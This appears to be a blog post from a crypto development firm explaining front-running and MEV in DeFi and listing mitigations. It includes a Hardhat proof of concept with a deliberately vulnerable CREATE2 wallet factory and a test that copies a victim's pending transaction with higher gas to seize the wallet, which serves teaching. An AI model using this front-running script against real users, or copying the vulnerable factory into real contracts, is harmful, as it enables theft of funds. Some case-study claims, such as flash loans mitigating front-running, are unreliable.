MEV Protection: Solving Front-Running in DeFi Contracts

Front-Running in Traditional Markets

Front-running in traditional markets occurs when a broker, aware of a client's impending major order, places their own trade beforehand to profit from the anticipated price movement.

Front-Running in Cryptocurrency Markets

In the context of cryptocurrency development, front-running has evolved into a more sophisticated form. Validators, who run software to approve transactions on the network, may exploit their knowledge of the transaction queue or mempool. They can reorder, include, or omit transactions to benefit financially.

Example:
A miner notices a large buy order for a particular cryptocurrency token. The miner inserts their own buy order first, validates the larger buy order afterward, and subsequently profits from the price increase through arbitrage.

The Big Problem of MEV Bots

Front-running in cryptocurrency extends beyond individual validators. It involves a network of Maximum Extractable Value (MEV) traders operating bots designed to profit from the blockchain's complexity.

According to Ryan Zurrer, around 50 teams actively participate in MEV trading, with approximately 10 dominating the market. The top-performing teams reportedly earn monthly profits in the high five- to mid-six-figure range, reaching millions under optimal market conditions.

On public blockchains, transaction data is accessible to all. Due to the absence of regulations like SEC cybersecurity rules, most front-running activity occurs on decentralized exchanges (DEXs). Consequently, the DeFi ecosystem is rife with skilled traders deploying MEV bots to exploit the on-chain landscape.

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Understanding the Problem

Front-running occurs when an attacker observes an unconfirmed transaction in the mempool and submits their own transaction with a higher gas fee, ensuring priority execution.

Common Targets:

• DEX Trades: Exploiting price slippage.

• Liquidations: Capturing opportunities before others.

• NFT Mints: Securing scarce assets faster.

Preventative Strategies in Smart Contracts

1. Commit-Reveal Schemes

• Mechanism: Users first commit to a transaction without revealing details (e.g., hash of their order and a random nonce). Later, the order details are revealed and executed.

• Use Case: Prevents premature exposure of trading parameters.

2. Randomized Transaction Ordering

• Mechanism: Introduce randomness to shuffle transaction execution order within blocks.

• Example: Use VRF (Verifiable Random Functions) or solutions like Chainlink VRF.

3. Fair Sequencing Services

• Mechanism: Transactions are sequenced by an impartial third party or cryptographic fairness guarantees.

• Example: Layer-2 solutions or custom sequencing methods.

4. Slippage Controls

• Mechanism: Allow users to specify maximum slippage tolerances.

• Example: Set limits in swapExactTokensForTokens() on AMMs like Uniswap.

5. Timeout Mechanisms

• Mechanism: Orders or transactions expire if not executed within a specified block range.

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On-Chain Solutions

1. Private Mempools

• Mechanism: Transactions are sent directly to validators instead of the public mempool to shield details from attackers.

• Examples:

  • Flashbots: A private relay for bundling transactions.

  • MEV-Boost: Helps block proposers securely manage transaction ordering.

2. Enforced Transaction Privacy

• Mechanism: Utilize zero-knowledge proofs (ZKPs) for private trades.

• Examples: Protocols like zkSync and Aztec.

Economic Disincentives

1. Transaction Bonding

• Mechanism: Require refundable deposits for executing transactions. If foul play is detected, the bond is forfeited.

2. Penalties for Malicious Behaviour

• Mechanism: Impose penalties for front-running attempts, enforced via smart contract logic.

Off-Chain Mitigations

1. Off-Chain Order Books

Mechanism: Conduct order matching and price discovery off-chain while settling trades on-chain to obscure order details from the mempool.

2. Batch Auctions

• Mechanism: Group trades into batches executed at the same price to prevent exploitation of individual transactions.

Tooling and Frameworks

• Flashbots: For private transaction relays and MEV-aware strategies.

• Uniswap V3 Oracle: Mitigates price manipulation with time-weighted average prices.

• OpenZeppelin Contracts: Provides security primitives like rate limits.

Continuous Monitoring and Audits

• Regularly monitor for unusual transaction patterns.

• Conduct frequent audits of smart contracts to identify vulnerabilities.

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Contracts/FactoryContract.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import './Wallet.sol';
contract FactoryContract {
   mapping(address => address) public walletOwner;
   function deployWallet(bytes32 salt)
       internal
       returns (address instance)
   {
       require(walletOwner[msg.sender] == address(0), 'You already have a wallet');
       bytes memory bytecode = type(Wallet).creationCode;
       assembly {
           instance := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
       }
       require(instance != address(0), 'ERC1167: create2 failed');
       walletOwner[msg.sender] = instance;
   }
   function createWallet(
       bytes32 _salt
   )
       external
       returns (address walletAddress)
   {
       walletAddress = deployWallet(_salt);
       Wallet(walletAddress).initialize(msg.sender);
   }
}

contracts/Wallet.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
contract Wallet is Ownable{
   using SafeERC20 for IERC20;
   mapping(address => mapping(address => uint256)) public balances;
   bool public initialized;
   function initialize(address owner) public{
       require(!initialized, 'Already initialized');
       initialized = true;
       _transferOwnership(owner);
   }
   function deposit(address token, uint256 amount) public payable {
       if (token == address(0)) {
           balances[msg.sender][token] += msg.value;
       } else {
           IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
           balances[msg.sender][token] += amount;
       }
   }
   function withdraw(address token, uint256 amount) public onlyOwner{
       if(token == address(0)){
           (bool sent, ) = msg.sender.call{value: amount}('');
           require(sent, 'Failed to send Ether');
       }else{
           IERC20(token).safeTransfer(msg.sender, amount);
       }
   }
}

test/test.js

const { expect } = require('chai');
const { ethers } = require('hardhat');
const 
 {abi:WalletContractAbi}
= require('../artifacts/contracts/Wallet.sol/Wallet.json');
describe('Frontrunning attack', () => {
 let owner, alice, attacker, factory;
 before(async () => {
   [owner, alice, attacker] = await ethers.getSigners();
   const Factory = await ethers.getContractFactory('FactoryContract');
   factory = await Factory.connect(owner).deploy();
 });
 it('Perform the Frontrunning Attack', async () => {
     const salt = ethers.utils.keccak256(ethers.utils.toUtf8Bytes('Something'));

     await factory.connect(alice).createWallet(salt);
     // getting all the txs in mempool
     const txs = await ethers.provider.send('eth_getBlockByNumber', [
       'pending',
       true,
     ]);
     // finding the tx
     const tx = txs.transactions.find(
       (tx) => tx.to === factory.address.toLowerCase()
     );
     // Send tx with more gas
     await attacker.sendTransaction({
       to: tx.to,
       data: tx.input,
       gasPrice: ethers.BigNumber.from(tx.gasPrice).add(100),
       gasLimit: ethers.BigNumber.from(tx.gas).add(100000),
     });
     // Mine all the transactions
     await ethers.provider.send('evm_mine', []);
     const addressOfWallet = await factory.walletOwner(attacker.address);
     const wallet = await ethers.getContractAt(
       WalletContractAbi,
       addressOfWallet,
       attacker
     );
     await ethers.provider.send('evm_mine', []);
     expect(await factory.walletOwner(alice.address)).to.eq(ethers.constants.AddressZero);
     expect(await wallet.owner()).to.eq(attacker.address);
     expect(await wallet.initialized()).to.eq(true)
 });
});
hardhat.config.js
require('@nomicfoundation/hardhat-toolbox');
/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
 solidity: '0.8.18',
 networks: {
   hardhat: {
     mining: {
       auto: false,
       interval: 1000,
     },
   }
 }
};

Understanding Front-Running in DeFi

Front-running is a significant concern on decentralized finance (DeFi) platforms. This malicious activity occurs when an attacker intercepts and executes a transaction ahead of a legitimate one, profiting from insider knowledge of pending transactions. Such activities undermine trust in DeFi systems and harm their integrity.

Front-running typically exploits the transparency of blockchain networks, where transactions are visible to all participants before being confirmed. Attackers leverage this visibility to reorder transactions for their benefit.

Example:
A user's large buy order might be front-run by an attacker placing their own order first, driving up the asset price and selling it at a profit after the user's transaction executes.

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The Role of MEV in DeFi Vulnerabilities

Miner Extractable Value (MEV) refers to the maximum value that miners or validators can extract from transaction ordering within a block. MEV plays a significant role in enabling front-running attacks. Validators can reorder, include, or exclude transactions for personal gain, while attackers use bots to scan mempools and identify profitable transactions.

The rise of MEV has led to competitive bot activities, intensifying the risks associated with front-running. This creates a hostile environment for users, eroding trust in DeFi protocols. Addressing MEV is crucial for ensuring a fair and transparent ecosystem.

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MEV Protection Strategies for DeFi Smart Contracts

Developers have implemented various strategies to safeguard smart contracts and combat front-running and MEV exploitation:

1. Transaction Privacy

Shielding transaction details from public view until confirmation reduces opportunities for attackers to manipulate transaction orders.

2. Private Transactions

Using private mempools or protocols like Flashbots to keep transaction data confidential.

3. Commit-Reveal Schemes

Employ cryptographic techniques to conceal transaction details until execution.

4. Fair Ordering Mechanisms

Implement solutions that prioritize fairness in transaction processing.

5. First-In-First-Out Processing

Ensure transactions are processed in the order they are received.

6. Randomized Ordering

Add randomness to transaction sequencing to deter attackers.

7. Dynamic Pricing Models

Adjust transaction fees dynamically to discourage front-running.

8. Fee Rebates

Offer fee rebates to users negatively affected by front-running.

9. Auction-Based Systems

Allow users to bid for transaction inclusion based on fairness criteria.

10. Decentralized Consensus Mechanisms

Strengthen network security through decentralized validation processes.

• Example: Proof-of-Stake (PoS) relies on a decentralized set of validators to confirm transactions.

11. Optimistic Rollups

Use scaling solutions that enhance security and reduce front-running risks.

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Enhancing Protocol-Level Security

Beyond smart contract modifications, protocol-level enhancements can mitigate front-running and MEV challenges:

1. Multi-Layered Encryption

Encrypt transaction data at various stages to obscure sensitive information.

2. Batching Transactions

Group multiple transactions together to mask individual transaction details.

3. Delayed Transaction Disclosure

Introduce time delays before revealing transaction data publicly.

Building User Awareness and Tools

Educating users about front-running risks and providing tools to safeguard their transactions are vital components of a comprehensive MEV protection strategy. Users should:

• Opt for wallets and platforms that support private transactions.

• Use decentralized exchanges (DEXs) with built-in MEV protection features.

• Stay informed about emerging threats and solutions in the DeFi space.

Case Studies: Successful Implementation of MEV Protection

Several DeFi protocols have successfully implemented MEV protection measures:

• Balancer: Introduced features like "Flash Loans" to mitigate price manipulation and front-running risks.

• Uniswap v3: Enhanced transaction efficiency with concentrated liquidity, reducing MEV opportunities.

• Flashbots: Provided an open-source solution for private transaction relays, reducing MEV exploitation.

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The Future of MEV Protection in DeFi

As DeFi continues to evolve, addressing MEV and front-running remains a top priority. Future innovations could includes

1. Advanced Cryptographic Techniques

Employ zero-knowledge proofs and homomorphic encryption for enhanced privacy.

2. Cross-Layer Solutions

Integrate MEV protection across multiple blockchain layers for holistic security.

3. Collaborative Ecosystems

Encourage collaboration between developers, researchers, and stakeholders to tackle MEV challenges collectively.

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Conclusion

Front-running and MEV exploitation pose significant threats to the integrity of DeFi systems. By adopting robust strategies and fostering a secure ecosystem, developers and users can mitigate these risks. Continuous innovation, coupled with proactive education and collaboration, will ensure a fair and transparent future for decentralized finance. If you are looking to leverage blockchain technology to build your DeFi project, consider connecting with our skilled crypto developers.